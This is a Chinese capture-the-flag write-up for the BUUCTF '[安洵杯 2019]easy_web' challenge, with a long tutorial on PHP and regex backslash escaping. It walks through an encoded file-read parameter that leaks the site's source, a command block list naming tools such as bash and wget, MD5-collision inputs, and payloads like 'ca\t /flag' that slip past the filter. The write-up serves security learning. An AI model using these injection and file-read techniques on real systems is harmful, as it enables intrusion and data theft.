BUUCTF-[安洵杯 2019]easy_web1

题目

BUUCTF-[安洵杯 2019]easy_web1_第1张图片

分析

页面啥也没有,日常查看源代码

蓝色的东西有一大串,前面写着data:image/gif;base64

知识点:

Data URI scheme

data:image/png;base64的使用_凉茶微凉-CSDN博客

data:image/png;base64 - 心存善念 - 博客园

目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入

BUUCTF-[安洵杯 2019]easy_web1_第2张图片

其实“data:image/gif;base64,R0lGODlhJ……” 就是一张图片的DataURL,就是利用base64编码把图片数据翻译成标准ASCII字符。
等同于:

换句话说我们把图像文件的内容内置在 HTML 文件中,节省了一个 HTTP 请求。

Data URI scheme语法:

data:image/png;base64,iVBO。。。。。。

data:image/png;    声明数据协议及类型名称
base64,            编码形式为base64
iVBO。。。。。。    文件内容base64编码结果

这里看见url中有这一段字符

/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

看着img的值像base64加密,我们尝试解密一下;最终经过两次base64解密、一次16进制解密得到明文:555.png,猜测是文件包含。

尝试将flag.php经过一次16进制编码,两次base64编码之后的值赋值给img看看结果

BUUCTF-[安洵杯 2019]easy_web1_第3张图片

 提示没有flag。

然后看见url后面还有参数cmd,猜测应该是要我们进行命令执行,cmd赋值为ls 

BUUCTF-[安洵杯 2019]easy_web1_第4张图片

发现被禁止了,尝试了其他代码一样的被禁止,所以我们得找到源码才能继续往下做

因为是在index.php这个页面进行的传参,所以我们可以看看index.php里面的内容,同样将index.php加密后赋值给img 

BUUCTF-[安洵杯 2019]easy_web1_第5张图片

将Data URI scheme中的内容进行base64解码,得到index.php的源码

';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"; } echo $cmd; echo "
"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

知识点

header()--发送原生 HTTP 头,header() 必须在任何实际输出之前调用

hex2bin()--转换十六进制字符串为二进制字符串

正则匹配

[^a-z]

负值字符范围。匹配任何不在指定范围内的任意字符。例如,'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。

分析

可以看到我们传入flag.php加密字符串没用的原因是:

if (preg_match("/flag/i", $file)) {
    echo '';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"; }

所以我们要得到flag.php的内容得靠后面的代码

echo $cmd;
echo "
"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } }

即通过命令执行,输出flag

代码意思表示对$cmd进行了过滤,然后post传入a,b;要求是a与b不全等,但他俩的md5值要全等。

那么便是下面的这个值:

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

需要用bp抓包传,不能用hackbar,是因为使用hackbar会自动进行一次url解密,而里面有一些不可见字符,会导致出错

或者

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

md5的问题解决了,现在是进行命令执行了

知识点

dir(),返回目录下的文件,可以不用()

BUUCTF-[安洵杯 2019]easy_web1_第6张图片

 可以看到flag在 /flag目录下

payload

GET:?img=&cmd=sort%20/flag
//不给img赋值,可以不输出base加密的字符串

POST:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

sort的定义:
sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。

BUUCTF-[安洵杯 2019]easy_web1_第7张图片

或者另外一个姿势:

知识点

转义序列(反斜线)

反斜线有多种用法。首先,如果紧接着是一个非字母数字字符,表明取消 该字符所代表的特殊涵义。这种将反斜线作为转义字符的用法在字符类内部和外部都可用。

比如,在正则匹配中如果你希望匹配一个 "*" 字符,就需要在模式中写为 "\*"。 这适用于一个字符在不进行转义会有特殊含义的情况下。 但是, 对于非数字字母的字符,总是在需要其进行原文匹配的时候在它前面增加一个反斜线, 来声明它代表自己,这是安全的。如果要匹配一个反斜线,那么在模式中使用 "\\"

String 字符串

如果用单引号来表达字符串,要表达一个单引号自身,需在它的前面加个反斜线(\)来转义。要表达一个反斜线自身,则用两个反斜线(\\)。其它任何方式的反斜线都会被当成反斜线本身:也就是说如果想使用其它转义序列例如 \r 或者 \n,并不代表任何特殊含义,就单纯是这两个字符本身。

用双引号表达字符串的区别是,用双引号定义的字符串变量会被解析且\n也会被解析除此之外其它任何方式的反斜线都会被当成反斜线本身

 

总结:单引号字符串只会对反斜杠\ 和单引号' 两种情况进行转义,双引号字符串会对反斜杠\和双引号"和(\n等字符)三种情况进行转义

反斜线在单引号和双引号 PHP 字符串中都有特殊含义。因此要匹配一个反斜线 \,正则表达式写法是 \\, 然后 PHP 代码中需要转义写成 "\\\" 或 '\\\\'

(三反斜杠等于四个反斜杠,原理就是上文的String字符串内容)

BUUCTF-[安洵杯 2019]easy_web1_第8张图片

 第一个\转义第二个\,第三个\作为自己本身;这里前面使用a是为了防止转义单引号双引号

匹配一个反斜线 \,正则写法:

BUUCTF-[安洵杯 2019]easy_web1_第9张图片

BUUCTF-[安洵杯 2019]easy_web1_第10张图片

匹配一个反斜线 \,php代码写法:

BUUCTF-[安洵杯 2019]easy_web1_第11张图片

 这里$result3返回1是因为| 分割了空字符

BUUCTF-[安洵杯 2019]easy_web1_第12张图片

BUUCTF-[安洵杯 2019]easy_web1_第13张图片

这样就不会匹配到空字符了 

但是可以匹配到 |x  是因为第二个|被转义了

BUUCTF-[安洵杯 2019]easy_web1_第14张图片

preg_match中的第一个参数需要有一对任何非字母、数字、“\”或空格的字符作为分隔符,也就是我们最常用的“/”

参考文章

为什么3反斜杠在php中等于4反斜杠? - Thinbug

【PHP】之4个反斜杠、3个反斜杠的情况_Qonent的博客-CSDN博客

综上所述:

题目中的这串代码:

"/\?|\\|\\\\|\n/"

BUUCTF-[安洵杯 2019]easy_web1_第15张图片

经过php转义之后变为 "/\?|\|\\| /" 在放到正则匹配中去,意思就会变成这样:

第一个反斜杠转义? 第二个反斜杠转义|第三个反斜杠转义第四个反斜杠

最终就是匹配?或者|\或者回车

BUUCTF-[安洵杯 2019]easy_web1_第16张图片

 

payload

GET:?img=&cmd=ca\t%20/flag

POST:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

你可能感兴趣的:(BUUCTF,PHP特性,md5)